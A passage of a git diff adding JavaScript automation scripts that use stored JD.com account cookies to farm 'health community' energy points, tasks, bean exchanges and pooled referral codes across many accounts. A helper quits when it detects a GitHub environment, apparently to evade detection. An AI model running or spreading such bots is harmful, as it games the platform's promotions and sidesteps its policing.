+ } + } + } else { + console.log(`兑换京豆次数已达上限`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} +function exchange(commodityType, commodityId) { + return new Promise(resolve => { + const options = taskUrl('jdhealth_exchange', {commodityType, commodityId}) + $.post(options, (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (data.data.bizCode === 0 || data.data.bizMsg === "success") { + $.score = data.data.result.userScore + console.log(`兑换${data.data.result.jingBeanNum}京豆成功`) + message += `兑换${data.data.result.jingBeanNum}京豆成功\n` + if ($.isNode()) { + allMessage += `【京东账号${$.index}】 ${$.UserName}\n兑换${data.data.result.jingBeanNum}京豆成功🎉${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } else { + console.log(data.data.bizMsg) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} + +function doTask(taskToken, taskId, actionType = 0) { + return new Promise(resolve => { + const options = taskUrl('jdhealth_collectScore', {taskToken, taskId, actionType}) + $.get(options, + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if ([0, 1].includes(nc(oc(() => data.data.bizCode) , -1))) { + $.canDo = true + if (oc(() => data.data.result.score)) + console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.score) , '未知')}能量`) + else + console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } else { + console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} + +function collectScore() { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_collectProduceScore', {}), + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (oc(() => data.data.bizCode) === 0) { + if (oc(() => data.data.result.produceScore)) + console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.produceScore) , '未知')}能量`) + else + console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } else { + console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&uuid=`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'accept-language': 'zh-cn', + 'accept-encoding': 'gzip, deflate, br', + 'accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `https://api.jdsharecode.xyz/api/health/${randomCount}`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} health/read API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + if (!ZLC) { + console.log(`您设置了不加入助力池,跳过\n`) + } else { + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = []; + if ($.isNode()) { + if (process.env.JDHEALTH_SHARECODES) { + if (process.env.JDHEALTH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDHEALTH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDHEALTH_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_health_collect.js b/jd_health_collect.js new file mode 100644 index 0000000..89f3b87 --- /dev/null +++ b/jd_health_collect.js @@ -0,0 +1,137 @@ +// author: 疯疯 +/* +东东健康社区收集能量收集能量(不做任务,任务脚本请使用jd_health.js) +更新时间:2021-4-23 +活动入口:京东APP首页搜索 "玩一玩"即可 + +已支持IOS多京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#东东健康社区收集能量 +5-45/20 * * * * jd_health_collect.js, tag=东东健康社区收集能量, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "5-45/20 * * * *" script-path=jd_health_collect.js, tag=东东健康社区收集能量 + +====================Surge================ +东东健康社区收集能量 = type=cron,cronexp="5-45/20 * * * *",wake-system=1,timeout=3600,script-path=jd_health_collect.js + +============小火箭========= +东东健康社区收集能量 = type=cron,script-path=jd_health_collect.js, cronexpr="5-45/20 * * * *", timeout=3600, enable=true + */ +const $ = new Env("东东健康社区收集能量收集"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +let cookiesArr = [], + cookie = "", + message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie), + ].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/client.action"; +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", + { "open-url": "https://bean.m.jd.com/" } + ); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await collectScore(); + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +function collectScore() { + return new Promise((resolve) => { + $.get(taskUrl("jdhealth_collectProduceScore", {}), (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data); + if (data?.data?.bizCode === 0) { + if (data?.data?.result?.produceScore) + console.log( + `任务完成成功,获得:${ + data?.data?.result?.produceScore ?? "未知" + }能量` + ); + else + console.log( + `任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}` + ); + } else { + console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`); + } + } + } catch (e) { + console.log(e); + } finally { + resolve(); + } + }); + }); +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}/client.action?functionId=${function_id}&body=${escape( + JSON.stringify(body) + )}&client=wh5&clientVersion=1.0.0`, + headers: { + Cookie: cookie, + origin: "https://h5.m.jd.com", + referer: "https://h5.m.jd.com/", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : require("./USER_AGENTS").USER_AGENT + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + }; +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_health_help.js b/jd_health_help.js new file mode 100644 index 0000000..e3a644f --- /dev/null +++ b/jd_health_help.js @@ -0,0 +1,247 @@ +/* +东东健康社区 +更新时间:2021-4-22 +活动入口:京东APP首页搜索 "玩一玩"即可 + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#东东健康社区 +5 4,14 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_health_help.js, tag=东东健康社区, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "5 4,14 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_health_help.js, tag=东东健康社区 + +====================Surge================ +东东健康社区 = type=cron,cronexp="5 4,14 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_health_help.js + +============小火箭========= +东东健康社区 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_health_help.js, cronexpr="5 4,14 * * *", timeout=3600, enable=true + */ +const $ = new Env("东东健康社区内部互助"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require('./sendNotify') : ""; +let cookiesArr = [], cookie = "", allMessage = "", message; +let reward = process.env.JD_HEALTH_REWARD_NAME ? process.env.JD_HEALTH_REWARD_NAME : ''; +const randomCount = $.isNode() ? 20 : 5; +$.newShareCodes = []; +let UserShareCodes = ""; +function oc(fn, defaultVal) { //optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +function nc(val1, val2) { //nullish coalescing + return val1 ? val1 : val2 +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") + console.log = () => {}; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/"; + +let NowHour = new Date().getHours(); +let llhelp=true; + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/", { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (llhelp){ + console.log(`开始获取助力码....\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + await GetShareCode(); + } + } + } + console.log(`开始执行任务....\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await main() + await $.wait(3 * 1000) + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() +.catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); +}) +.finally(() => { + $.done(); +}); + +async function main() { + try { + $.score = 0; + $.earn = false; + await getTaskDetail(-1); + UserShareCodes = ""; + await getTaskDetail(6); + if (llhelp){ + await helpFriends(); + } + await getTaskDetail(-1); + + } catch (e) { + $.logErr(e) + } 